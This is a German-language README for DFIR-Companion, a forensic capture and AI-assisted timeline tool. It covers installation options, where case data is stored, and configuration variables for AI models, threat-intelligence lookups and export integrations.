Browser (Comet/Chrome) Localhost companion (127.0.0.1:4773) ┌─────────────────────┐ POST ┌───────────────────────────────────────┐ │ DFIR Capture (MV3) │ /captures ──▶ │ ingest → evidence (screenshots+jsonl) │ │ timer + events │ │ │ │ └─────────────────────┘ │ ▼ per-window AI extraction (cheap) │ │ forensic timeline ──▶ synthesis (strong)│ Dashboard / Reports ◀── WS /ws, │ findings, IOCs, MITRE, attacker path, │ GET /cases/:id/state │ key questions, threads │ └─────────────────────┘ └───────────────────────────────────────┘
**Zweiphasige Analyse:** Ein kostengünstiges Vision-Modell liest jeden Screenshot in die forensische
Timeline ein; ein stärkeres Modell führt den einzelnen holistischen Synthese-Aufruf durch (Erkenntnisse, MITRE,
Angreiferpfad, Fragen). Konfigurieren Sie beide über `.env` — siehe `companion/README.md`.
## Schnellstart
> **Voraussetzung:** [Node.js](https://nodejs.org/) **22.19 oder höher** (wird mit `npm` ausgeliefert).
> Prüfen Sie dies mit `node --version`. Alles unten verwendet `npm`, sodass keine weitere Laufzeitumgebung benötigt wird.
> Der indizierte Fall-Speicher verwendet das integrierte `node:sqlite`-Modul, sodass ältere Node-Versionen
> Fälle nicht öffnen können. Der portable Build enthält eine kompatible Laufzeitumgebung.
1. **Companion** (der Server): ```
git clone https://github.com/hasamba/DFIR-Companion.git
cd DFIR-Companion/companion
npm install
cp .env.example .env # set DFIR_VISION_PROVIDER / MODEL / KEY (or leave AI off)
npm run dev # serves http://127.0.0.1:4773 (dashboard at /dashboard)
Erweiterung (Erfassung):
Am einfachsten: direkt aus dem
Chrome Web Store installieren.
Unter Firefox 140+ die Datei dfir-capture-extension-firefox-*.zip aus dem
neuesten Release herunterladen und entpacken.
Oder aus dem Quellcode erstellen: ``` cd DFIR-Companion/extension npm install npm run build # Chrome/Comet → load extension/dist as an unpacked extension npm run build:firefox # Firefox 140+ → load extension/dist-firefox/manifest.json
Unter Firefox lädst du es über about:debugging#/runtime/this-firefox → Temporäres Add-on laden…
und wählst die manifest.json-Datei aus (Chrome fragt nach dem Ordner; Firefox nicht). Firefox
verwirft temporäre Add-ons beim Neustart, also wiederhole das in jeder Sitzung — es gibt noch kein
AMO-Listing, daher ist die Release-Zip unsigniert und kann nicht dauerhaft installiert werden.
Was es sammelt, da ein temporäres Laden nie fragt. Firefox zeigt seinen Datenerfassungs- hinweis nur für ein normal installiertes, signiertes Add-on an;
about:debugginggewährt alles stillschweigend. Die Erweiterung deklariert Browsing-Aktivität (eine Aufnahme enthält die URL und den Titel des Tabs) und Website-Inhalte (den Screenshot und die Zeilen, die ein Push ausliest). Die Erweiterung sendet sie an die Companion-Adresse, die du konfigurierst, und nirgendwo sonst; was dieser Companion danach weiterleitet — ein Vision-Modell liest die Screenshots, KI-Synthese liest die Zeilen, Anreicherung fragt Reputationsdienste ab — ist die eigene Konfiguration des Companions. Siehe extension/PRIVACY.md.
Das Popup hängt sich nur an einen bestehenden Fall an — Fälle erstellst du im Dashboard.
http://127.0.0.1:4773/dashboard, klicke auf + New case, um deinen Fall zu erstellen (er
verbindet sich automatisch). Wähle dann im Erweiterungs-Popup diesen Fall aus dem Case-
Dropdown (Refresh cases, falls er noch nicht aufgelistet ist) und klicke auf Start. Durchsuche deine Beweise —
das Dashboard aktualisiert sich live.Aktualisierst du einen bestehenden Checkout? Führe nach
git pullerneutnpm installin beiden Verzeichnissencompanion/undextension/aus — neue Funktionen können Abhängigkeiten hinzufügen (z. B. die OCR-Schwärzung von Screenshots fügtetesseract.jshinzu). Starte dannnpm run devneu (Servercode wird einmal beim Start geladen).
Die vollständige Konfiguration, HTTP-Endpunkte, das Fallordner-Layout und das Analysemodell sind in companion/README.md dokumentiert.
Betreibe das Ganze — Companion-Server + Dashboard + das Browser-Add-on — in einem Container.
Es sind weder Ollama noch LiteLLM enthalten; für KI richtest du DFIR_AI_* auf einen beliebigen OpenAI-kompatiblen
Endpunkt (ein selbst gehostetes Modell, einen Remote-Anbieter oder ein separat betriebenes Ollama/LiteLLM). Bleibt KI
ungesetzt, führt der Container trotzdem die vollständige Erfassung und alle deterministischen Importer aus.
Voraussetzung: Docker mit dem Compose-Plugin (
docker compose version).
Bewusst nur auf Localhost: Der Container bindet intern 0.0.0.0, aber Compose veröffentlicht den
Port auf 127.0.0.1 auf deinem Host — so ist das Dashboard nie in deinem Netzwerk exponiert.
Oder ziehe das vorgefertigte Image von GHCR, anstatt es zu bauen: ``` docker compose pull && docker compose up -d
2. **Das Add-on laden** (Capture). Der Container schreibt die vorgefertigte, entpackte Erweiterung beim ersten Start nach
`./addon`. In Chrome/Comet `chrome://extensions` öffnen, den **Entwicklermodus**
aktivieren, auf **Entpackte Erweiterung laden** klicken und **`./addon/dist`** auswählen (eine gepackte
`dfir-companion-extension.zip` wird dort ebenfalls abgelegt).
3. `http://127.0.0.1:4773/dashboard` öffnen, auf **+ Neuer Fall** klicken, dann diesen Fall im
Erweiterungs-Popup auswählen und **Starten**.
**Daten & Konfiguration:**
- Beweismittel und Fallstatus bleiben in **`./cases`** auf dem Host (gemountetes Volume) erhalten — überstehen
Neustarts und Image-Neuerstellungen.
- Konfiguration über den `environment:`-Block in [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml), oder
`env_file: - .env` auskommentieren, um eine `.env`-Datei zu verwenden (`companion/.env.example` kopieren).
- Um einen auf dem Host laufenden KI-Endpunkt zu erreichen, `http://host.docker.internal:<port>/v1`
verwenden (unter Linux ohne Docker Desktop zusätzlich die `extra_hosts`-Zeile in der Compose-Datei auskommentieren).
## Windows (Chocolatey)
Die portable Windows-Version mit [Chocolatey](https://chocolatey.org/) installieren — kein Node.js
erforderlich. In einer erhöhten Shell:```
choco install dfir-companion
dfir-companion # → http://127.0.0.1:4773/dashboard
choco upgrade dfir-companion lädt die nächste Version herunter; choco uninstall dfir-companion
entfernt die Binärdatei und den PATH-Shim. Der Installer lädt dasselbe portable Zip herunter, das auf
der Releases-Seite veröffentlicht wurde, und verifiziert dessen
SHA256.
Deine Daten liegen in deinem Benutzerprofil, nicht im admin-eigenen Installationsverzeichnis: Fälle in
%LOCALAPPDATA%\DFIR-Companion\cases und Konfiguration in %LOCALAPPDATA%\DFIR-Companion\.env
(aus dem Beispiel initialisiert; bearbeite sie für AI- / Threat-Intel-Schlüssel — alle optional). Deinstallieren
behält diesen Ordner, damit Beweise niemals gelöscht werden. Es wird keine Firewall-Regel erstellt — der Server
bindet nur 127.0.0.1.
Die Capture-Erweiterung ist auf der Festplatte unter %LOCALAPPDATA%\DFIR-Companion\extension für
die Offline-Installation gebündelt (praktisch auf air-gapped Workstations) — lade sie über chrome://extensions →
Entwicklermodus → Entpackte Erweiterung laden → diesen Ordner, oder installiere sie aus dem Chrome Web Store, sobald
veröffentlicht. Sie wird nicht automatisch in den Browser installiert.
Noch nicht im Chocolatey-Community-Repo? Bis sie dort veröffentlicht ist, hole dir das
dfir-companion.<version>.nupkgaus dem Release undchoco install dfir-companion --source .aus seinem Ordner. Das Packaging befindet sich inpackaging/chocolatey/.
Lade dfir-companion-<version>-x86_64.AppImage von der
Releases-Seite herunter, dann:```
chmod +x dfir-companion--x86_64.AppImage
./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard
Kein Node erforderlich — es bündelt den Server, das Dashboard und die Bild-Tooling. **Ihre Daten liegen in dem
Verzeichnis, aus dem Sie es ausführen:** `cases/` (Beweise + Status) und eine optionale `.env` (KI- / Threat-Intel-
Konfiguration) werden neben dem Ort erstellt/gelesen, an dem Sie die AppImage starten. Überschreiben mit `DFIR_CASES_ROOT`
(absoluter Pfad) und `DFIR_ENV_FILE` (absoluter Pfad zu einer Konfigurationsdatei).
### Wo die Daten liegen
| Installation | Fälle + Status | Konfiguration (`.env`) |
| ---------------------- | -------------------------------------- | ------------------------------------- |
| Quelle / `npm run dev` | `companion/cases/` | `companion/.env` |
| Portable Windows EXE | `cases/` neben der EXE | `.env` neben der EXE |
| Windows (Chocolatey) | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env` |
| Linux AppImage | `$PWD/cases` (Startverzeichnis) | `$PWD/.env` (oder `DFIR_ENV_FILE`) |
| Docker / Compose | gemountetes `./cases`-Volume | `environment:` / `--env-file` |
Alle Speicherorte sind mit `DFIR_CASES_ROOT` (absoluter Pfad) überschreibbar.
## Umgebungsvariablen (`companion/.env`)
Das gesamte Companion-Verhalten wird über Umgebungsvariablen konfiguriert (`companion/.env` oder Shell). Kopieren Sie `companion/.env.example` zum Start — es enthält Inline-Kommentare für jede Variable.
### Kern
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | Speicherort des Fallordners; relative Pfade werden gegen `companion/` aufgelöst |
| `DFIR_PORT` | `4773` | Server-Port (muss mit der Extension und dem Dashboard übereinstimmen) |
| `DFIR_HOST` | `127.0.0.1` | Bind-Schnittstelle. Ein unauthentifizierter Nicht-Loopback-Bind wird abgelehnt; Docker Compose dokumentiert seine Ausnahme nur für Host-Loopback |
| `DFIR_MAX_BODY_MB` | `256` | Maximale Upload-Größe in MB; erhöhen, wenn große SIEM/EDR-Exporte mit HTTP 413 fehlschlagen |
| `DFIR_ALLOWED_ORIGINS` | _(keine)_ | Zusätzliche Browser-Origins, die die API aufrufen dürfen, kommagetrennt. Die Capture-Extension, Loopback und jede Origin, die der Companion selbst ausgeliefert hat, sind immer vertrauenswürdig, sodass localhost/LAN/Docker keine Einstellung benötigen; jede andere Web-Origin wird abgelehnt. Aufrufer, die keinen `Origin` senden (curl, Skripte, Velociraptor), sind nicht betroffen. Erforderlich, wenn das Dashboard von einem **Hostnamen** ausgeliefert wird — ein Reverse-Proxy oder ein gehostetes Deployment |
| `DFIR_ALLOWED_HOSTS` | _(keine)_ | Zusätzliche Hostnamen, auf die dieser Companion antwortet, kommagetrennt. Loopback und reine IP-Adressen werden immer akzeptiert, sodass localhost, Docker und das Erreichen des Dashboards über das LAN unter `http://192.168.1.50:4773` keine Einstellung benötigen. Jeder **Name**, der nicht aufgeführt ist, wird abgelehnt — das verhindert DNS-Rebinding (eine feindliche Website, die ihre eigene Domain auf Ihren Rechner zeigt). Setzen Sie dies, wenn ein Reverse-Proxy einen `Host` weiterleitet, der von der Origin abweicht, die Sie in `DFIR_ALLOWED_ORIGINS` angegeben haben |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(keine)_ | Wie oben, aber auf ein Domain-Suffix abgestimmt, z. B. `.lab.example.com`, für Plattformen, die pro Sitzung einen frischen Hostnamen vergeben. Die Übereinstimmung erfolgt an einer Label-Grenze, sodass `.acme.com` niemals auf `evilacme.com` passt |
| `DFIR_LOG_LEVEL` | `info` | Log-Ausführlichkeit (`debug`/`info`/`warn`/`error`). Wird auf Konsole + `logs/session-<time>.log` (global) + `cases/<id>/logs/session-<time>.log` (pro Fall) verteilt. `debug` verfolgt KI-Aufrufe, Captures, OCR, Anonymisierung, Anreicherung. Live änderbar (kein Neustart) über Einstellungen → Log-Ausführlichkeit |
| `DFIR_LOG_DIR` | `logs/` neben dem Cases-Root | Ordner für das **globale** Sitzungslog. Relative Pfade werden an `companion/` verankert. Logs pro Fall bleiben immer im Fallordner |
### Authentifizierung (optionales Team-Deployment)
`DFIR_AUTH_MODE=team` aktiviert OIDC/lokale Anmeldung, sichere Browser-Sitzungen, Rollen pro Fall und
fallbezogene Dienstidentitäten. Authentifizierungs- und Identity-Provider-Einstellungen sind Deployment-
Sicherheitskontrollen: Konfigurieren Sie sie in `.env` oder einem Secret Store und starten Sie dann neu. Siehe die
[Team Accounts and Case Roles guide](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md) für die
vollständige Variablenliste, HTTPS-Einrichtung, First-Admin-Bootstrap, Rollenmatrix, Extension-Token und
Single-Writer-Prozessmodell.
### KI — Extraktion (erforderlich, um die Analyse zu aktivieren)
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`; nicht gesetzt = nur Capture |
| `DFIR_VISION_MODEL` | — | Modell-ID (z. B. `gpt-4o-mini`, `gemini-2.5-flash`); **muss Vision unterstützen** für die Screenshot-Extraktion |
| `DFIR_VISION_KEY` | — | Provider-API-Schlüssel; leer lassen für einen auth-losen lokalen Proxy oder für `claude-code` (verwendet stattdessen Ihr angemeldetes `claude`-CLI-Abonnement) |
| `DFIR_AI_CLAUDE_CODE_BIN` | `claude` im PATH | Nur `claude-code`: absoluter Pfad zur `claude`-Binärdatei, falls sie nicht im PATH liegt |
| `DFIR_VISION_BASE_URL` | Provider-Standard | Basis-URL überschreiben — für einen lokalen LiteLLM-Proxy oder einen beliebigen OpenAI-kompatiblen Endpunkt |
| `DFIR_AI_TIMEOUT_MS` | `900000` | Timeout pro Anfrage (ms); CLI-Provider (claude-code, codex) benötigen bei einer großen Timeline Minuten |
| `DFIR_AI_MAX_TOKENS` | `16000` | Maximale Completion-Tokens; zu niedrig schneidet die Synthese ab, verhindert OpenRouter 402 bei niedrigem Guthaben |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | Obergrenze für forensische Ereignisse, die an die Synthese gesendet werden; Critical/High erhalten unabhängig davon immer einen Befund |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(aus)_ | Auf truthy setzen, um eine Fußnote **§3.4 Synthesis coverage** zum Bericht hinzuzufügen — „considered N of M in-window events (K omitted: budget/filtered)“, die Token-Schätzung und wie viele Omissionen hoher Schwere die Safety-Net-Backfill wiederhergestellt hat. Die Synth-Meta-Karte des Dashboards zeigt diese Zeile immer; dieses Flag steuert nur, ob sie auch im exportierten Bericht erscheint |
| `DFIR_REPORT_MODEL_PERF` | _(aus)_ | Auf truthy setzen, um eine Fußnote **§3.5 Model performance** zum Bericht hinzuzufügen — das Synthese-Modell, die Anzahl der Befunde im Vergleich zu der Anzahl, die die Safety-Net-Backfill hinzufügen musste, Parse-Wiederholungen und (wenn eine zweite Meinung gelaufen ist) wie oft `DFIR_AI_SECOND_OPINION_MODEL` mit `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL` übereinstimmte. Die Synth-Meta-Karte des Dashboards zeigt dies immer; dieses Flag steuert nur, ob es auch im exportierten Bericht erscheint |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | Modell-Kontextfenster; für Claude/Gemini erhöhen (200k/1M), um mehr pro Aufruf zu senden |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto` (OpenAI/OpenRouter); `high` kachelt in voller Auflösung für OCR von kleinem Text |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | Während der Erfassung neu synthetisieren: `on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | Debounce-Fenster, bevor die Auto-Synthese ausgelöst wird (ms) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | Safety-Net-Flush übrig gebliebener Capture-Puffer (ms); `0` deaktiviert |
| `DFIR_ANONYMIZE` | `on` | Victim-IPs/Hosts/User/Pfade vor KI-Aufrufen tokenisieren: `on` \| `off` |
| `DFIR_PRESIDIO_URL` | _(nicht gesetzt)_ | Optional: Basis-URL eines selbst betriebenen [Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md)-Analyzer-Containers (z. B. `http://localhost:5002`), der bereits maskierten Text nach Namen und anderer PII durchsucht, die Regex nicht erfassen kann. Nicht gesetzt = Funktion aus. |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | Konfidenz-Untergrenze (0–1) für Presidio-Befunde; leer/nicht numerisch fällt auf den Standard zurück, Werte außerhalb des Bereichs werden begrenzt |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | Budget für eine `/analyze`-Anfrage (Scans werden gechunkt; jeder Chunk erhält das volle Budget). Erhöhen Sie es für einen langsamen oder geteilten Analyzer; leer/nicht numerisch/≤0 fällt auf den Standard zurück |
> Die obigen Screenshot-/Vision-Variablen (`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`) wurden vom Präfix `DFIR_AI_*` umbenannt; die alten Namen `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` funktionieren weiterhin als veralteter Fallback (der neue Name gewinnt, wenn beide gesetzt sind).
**Claude Code** — verwendet Ihr angemeldetes Claude-Abonnement über die `claude`-CLI, kein API-Schlüssel; verarbeitet
Vision + Text (Screenshot-Extraktion *und* Synthese). Erfordert die installierte `claude`-CLI und
ein abgeschlossenes `claude auth login` auf dem Host. Verbraucht Ihre Abonnement-Rate-Limits (schwere Extraktion
kann sie erschöpfen); die gemeldeten Kosten sind API-äquivalent, nicht aus eigener Tasche. Einstellungen → KI zeigt einen
Verbindungsstatus (nicht installiert / nicht verbunden / verbunden) mit einer Ein-Klick-Verbindungsaktion.
### KI — Textmodell (zweistufig, optional)
Die Aufteilung ist **Vision vs. Text**: `DFIR_VISION_MODEL` liest Screenshots (muss multimodal sein); das `DFIR_AI_SYNTH_*`-Modell erledigt **die gesamte Textarbeit** — CSV-Extraktion, Log-Triage, Synthese, Ask/Explain. Wenn nicht gesetzt, verwendet die Textarbeit `DFIR_VISION_MODEL` wieder.
**Codex** — setzen Sie `DFIR_AI_SYNTH_PROVIDER=codex` (auch gültig für die velo-/Second-Opinion-Provider),
um Textarbeit über die lokale OpenAI **Codex CLI** (`codex exec`) auszuführen, unter Verwendung Ihrer ambienten Codex-
Authentifizierung — `codex login` oder `OPENAI_API_KEY`, **kein `DFIR_AI_KEY`**. Codex ist **nur Text** (es kann
keine Screenshots lesen), kombinieren Sie es also mit einem Vision-Provider für die Extraktion; es sendet Daten an OpenAI
(nicht lokal). Erfordert installiertes `@openai/codex`. Optional verweist `DFIR_AI_CODEX_BIN` auf ein
nicht im PATH liegendes `codex`. Einstellungen → KI zeigt einen Codex-Verbindungsstatus (nicht installiert / nicht verbunden /
verbunden) mit einer Ein-Klick-Verbindungsaktion.
Empfohlen: günstiges Vision-Modell für Screenshots, starkes Reasoning-Modell für Text. Sparen Sie nicht am Textmodell — ein schwaches lässt die Log-Triage *still* fehlschlagen und liefert keine Ereignisse statt falscher (`npm run eval:real` misst genau das).
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | Provider für Textarbeit (CSV/Log/Synthese) |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | Textmodell-ID — CSV/Log-Extraktion + Synthese (z. B. `gpt-4o`, `gemini-2.5-pro`, `claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | API-Schlüssel des Textmodells |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | Synthese-Basis-URL |
### KI — Velociraptor-Hunt-Modell (optional)
Ein dediziertes Modell, das **nur** zur Generierung von Velociraptor-VQL-Hunts verwendet wird (die Funktionen *Suggest Velociraptor hunts* / *Fleet Hunts*), getrennt von Extraktion/Synthese/OCR — viele Modelle vermasseln VQL. Auch editierbar unter **Einstellungen → KI**.
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | Provider für die VQL-Hunt-Generierung |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | Modell-ID für die VQL-Hunt-Generierung |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | API-Schlüssel (verwendet den Hauptschlüssel wieder, wenn leer) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | Basis-URL-Überschreibung |
### KI — benutzerdefinierte Prompts (optional)
Jeder Prompt hat zwei Überschreibungsformen (Prioritätsreihenfolge): `DFIR_AI_<NAME>_PROMPT` (Inline-Text, beim Start gelesen) und `DFIR_AI_<NAME>_PROMPT_FILE` (Pfad zur Datei, bei jedem Aufruf neu gelesen — bearbeiten und es gilt sofort). `npm run prompts:eject` schreibt die integrierten Standardwerte als Ausgangspunkt.
| Prompt-Name | `<NAME>`-Token |
|---|---|
| Extraktion pro Screenshot | `SYSTEM` |
| CSV-Import-Triage | `CSV` |
| Log-Import-Triage | `LOG` |
| Holistische Synthese | `SYNTH` |
| Fall-Q&A | `ASK` |
| Executive Summary | `EXEC` |
| Narrative Timeline | `NARRATIVE` |
| Vorgeschlagene Fleet-Hunts | `HUNTS` |
| Vorgeschlagene Playbook-Hunts | `PBHUNTS` |
| Timeline-Lücken-Hypothesen | `GAPHYP` |
| Query Translator (NL → query) | `QUERYXLATE` |
### Threat-Intel-Anreicherung (optional — standardmäßig aus)
Fügen Sie einen Schlüssel hinzu, um diesen Provider zu aktivieren. Alle externen Provider sind pro Fall vom Dashboard aus opt-in.
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_VT_KEY` | — | VirusTotal-API-Schlüssel (Hash / IP / Domain / URL) |
| `DFIR_HUNTINGCH_KEY` | — | abuse.ch Auth-Key für Hunting.ch (MalwareBazaar · ThreatFox · URLhaus · YARAify); fällt auf `DFIR_MB_KEY` zurück |
| `DFIR_MB_KEY` | — | Legacy-abuse.ch-Schlüssel — betreibt Hunting.ch; bevorzugen Sie `DFIR_HUNTINGCH_KEY` |
| `DFIR_ABUSEIPDB_KEY` | — | AbuseIPDB-API-Schlüssel (IP-Reputation) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | CrowdStrike Falcon TI OAuth2 Client-ID |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | CrowdStrike OAuth2 Secret (benötigt *Indicators: Read* + *MalQuery: Read*) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | Tenant-Cloud: `us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | aus Cloud | Explizite API-Basis-URL (überschreibt `DFIR_CROWDSTRIKE_CLOUD`) |
| `DFIR_ROCKYRACCOON_KEY` | — | RockyRaccoon-Schlüssel für Windows-Prozess-Prävalenz / LOLBIN / ATT&CK |
| `DFIR_MISP_URL` | — | MISP-Instanz-URL — sowohl URL + Schlüssel erforderlich für Anreicherung und Push |
| `DFIR_MISP_KEY` | — | MISP-API-Auth-Schlüssel |
| `DFIR_MISP_CA` | — | PEM-CA-Bundle für MISP mit interner CA (Verifizierung bleibt aktiv) |
| `DFIR_MISP_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
| `DFIR_MISP_DISTRIBUTION` | `0` | Verteilung neuer Ereignisse: `0`=org, `1`=community, `2`=connected, `3`=all |
| `DFIR_MISP_ANALYSIS` | `1` | Analysezustand neuer Ereignisse: `0`=initial, `1`=ongoing, `2`=complete |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | Maximale forensische Timeline-Ereignisse pro Push; über der Obergrenze werden die schwerwiegendsten behalten und der Push warnt |
| `DFIR_YETI_URL` | — | YETI-Instanz-URL — sowohl URL + Schlüssel erforderlich |
| `DFIR_YETI_KEY` | — | YETI-API-Schlüssel |
| `DFIR_YETI_CA` | — | PEM-CA-Bundle für YETI mit interner CA |
| `DFIR_YETI_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
| `DFIR_OPENCTI_URL` | — | OpenCTI-Instanz-URL — sowohl URL + Schlüssel erforderlich (hash/ip/domain/url) |
| `DFIR_OPENCTI_KEY` | — | OpenCTI-API-Token |
| `DFIR_OPENCTI_CA` | — | PEM-CA-Bundle für OpenCTI mit interner CA |
| `DFIR_OPENCTI_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | `x_opencti_score`-Schwelle für ein bösartiges Urteil |
| `DFIR_RDAP_URL` | `https://rdap.org` | WHOIS-over-RDAP-Basis (schlüssellos; IANA-Bootstrap zur besitzenden RIR) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | GeoIP-URL-Vorlage (schlüsselloses HTTPS; `{ip}` wird ersetzt; der Parser toleriert auch ip-api.com + ipwho.is) |
| `DFIR_GEOIP_KEY` | — | Optionaler GeoIP-Schlüssel (füllt `{key}`, sonst als `?token=` angehängt) für ein bezahltes/selbst gehostetes Backend |
| `DFIR_SHODAN_KEY` | — | Shodan-API-Schlüssel — betreibt auch den Shodan-Host-Lookup-IP-Anreicherer (geteilt mit Customer Exposure) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | CIRCL-hashlookup-Basis (schlüssellose Known-File-Suche für Hash-IOCs); überschreiben für einen selbst gehosteten / air-gapped Mirror |
| `DFIR_ENRICH_DELAY_MS` | `1500` | Drosselung zwischen Lookups (ms) |
| `DFIR_ENRICH_JITTER_MS` | `0` | ± zufälliger Jitter, der zur Wartezeit zwischen Aufrufen hinzugefügt wird (ms); verteilt ausgerichtete/parallele Läufe, damit sie nicht alle gemeinsam das Rate-Limit-Fenster eines Providers treffen |
| `DFIR_ENRICH_RETRIES` | `2` | Wiederholungsversuche für einen Provider-Aufruf, der auf einen 429 trifft, unter Beachtung von `Retry-After`, wenn der Provider eines sendet, bevor er als Fehler gezählt wird |
| `DFIR_ENRICH_RETRY_BACKOFF_MS` | `1000` | Basis-Backoff vor dem ersten 429-Wiederholungsversuch (verdoppelt sich pro Versuch, begrenzt auf 30s), wenn der Provider kein `Retry-After` angegeben hat |
| `DFIR_ENRICH_MAX` | `100` | Maximale IOCs, die pro Anreicherungs-Batch abgefragt werden (Hashes/IPs zuerst) |
| `DFIR_ENRICH_MAX_BATCHES` | `20` | Wie viele begrenzte Batches ein Anreicherungs-Kick verketten darf. Ein Fall mit mehr IOCs als `DFIR_ENRICH_MAX` stoppt nicht mehr an der Obergrenze: Der Lauf speichert und startet dann den nächsten Batch dort, wo er aufgehört hat, bis zu dieser Anzahl. `1` stellt das alte Single-Run-Verhalten wieder her. Was die Obergrenze noch übrig lässt, wird in der Statuszeile gemeldet, nicht stillschweigend verworfen |
| `DFIR_ENRICH_HEALTH_TTL_MS` | `60000` | Cache für Up/Down-Urteil bei selbst gehosteten Providern (ms) |
| `DFIR_ENRICH_HEALTH_POLL_MS` | `60000` | Re-Probe-Intervall für Down-Provider; `0` deaktiviert den Hintergrund-Poller |
### Customer Exposure (optional)
Prüft die **eigenen** Domains/E-Mails der Opfer-Organisation gegen Breach-Datenbanken — niemals Adversary-/IOC-Domains.
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_HIBP_KEY` | — | Have I Been Pwned API-Schlüssel |
| `DFIR_HIBP_USER_AGENT` | `DFIR Companion` | HIBP User-Agent-Header |
| `DFIR_LEAKCHECK_KEY` | — | LeakCheck Pro API-Schlüssel |
| `DFIR_LEAKCHECK_DOMAIN_LIMIT` | `1000` | Maximale Datensätze pro Domain-Suche |
| `DFIR_DEHASHED_KEY` | — | DeHashed v2 API-Schlüssel |
| `DFIR_DEHASHED_BASE_URL` | DeHashed-Standard | DeHashed-API-Basis-URL überschreiben |
| `DFIR_SHODAN_KEY` | — | Shodan-Schlüssel (Domain → exponierte Hosts / Ports / CVEs; kein E-Mail-Lookup) |
| `DFIR_EXPOSURE_DELAY_MS` | `1500` | Drosselung zwischen Provider-Lookups (ms) |
### DFIR-IRIS Push / Import (optional)
Sowohl URL als auch Schlüssel sind erforderlich, um zu aktivieren. Dieselbe Verbindung betreibt **Push to DFIR-IRIS** und
**Import from IRIS** (Ziehen der Assets/IOCs/Timeline eines bestehenden IRIS-Falls in einen Fall).
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_IRIS_URL` | — | IRIS-Instanz-URL |
| `DFIR_IRIS_KEY` | — | IRIS-API-Schlüssel |
| `DFIR_IRIS_CA` | — | PEM-CA-Bundle für IRIS mit interner CA |
| `DFIR_IRIS_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
| `DFIR_IRIS_CUSTOMER_ID` | `1` | Kunden-ID für neue IRIS-Fälle (Push) |
| `DFIR_IRIS_CLASSIFICATION_ID` | `1` | Klassifizierungs-ID für neue IRIS-Fälle (Push) |
### Timesketch Push (optional)
URL + Benutzer + Passwort sind alle erforderlich, um den Push zu aktivieren. Der Export nach JSONL funktioniert ohne jegliche Konfiguration.
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_TIMESKETCH_URL` | — | Timesketch-Instanz-URL |
| `DFIR_TIMESKETCH_USER` | — | Local-Auth-Benutzername |
| `DFIR_TIMESKETCH_PASSWORD` | — | Local-Auth-Passwort |
| `DFIR_TIMESKETCH_TIMELINE` | `DFIR-Companion Forensic Timeline` | Name der verwalteten Timeline |
| `DFIR_TIMESKETCH_CA` | — | PEM-CA-Bundle für Timesketch mit interner CA |
| `DFIR_TIMESKETCH_INSECURE` | — | `=1`, um die TLS-Verifizierung zu überspringen (nur Labor) |
### Notion-Export (optional)
Allein das Token aktiviert es. Teilen Sie die Zielseite/-datenbank mit der Integration. „Neue Seite“ benötigt eine
Datenbank oder übergeordnete Seite (Umgebungsstandard oder pro Export eingegeben); „bestehende Seite“ aktualisiert eine Seite, die Sie einfügen.
| Variable | Standard | Bedeutung |
|---|---|---|
| `DFIR_NOTION_TOKEN` | — | Internal-Integration-Secret (Notion: Settings → Connections → develop your own) |
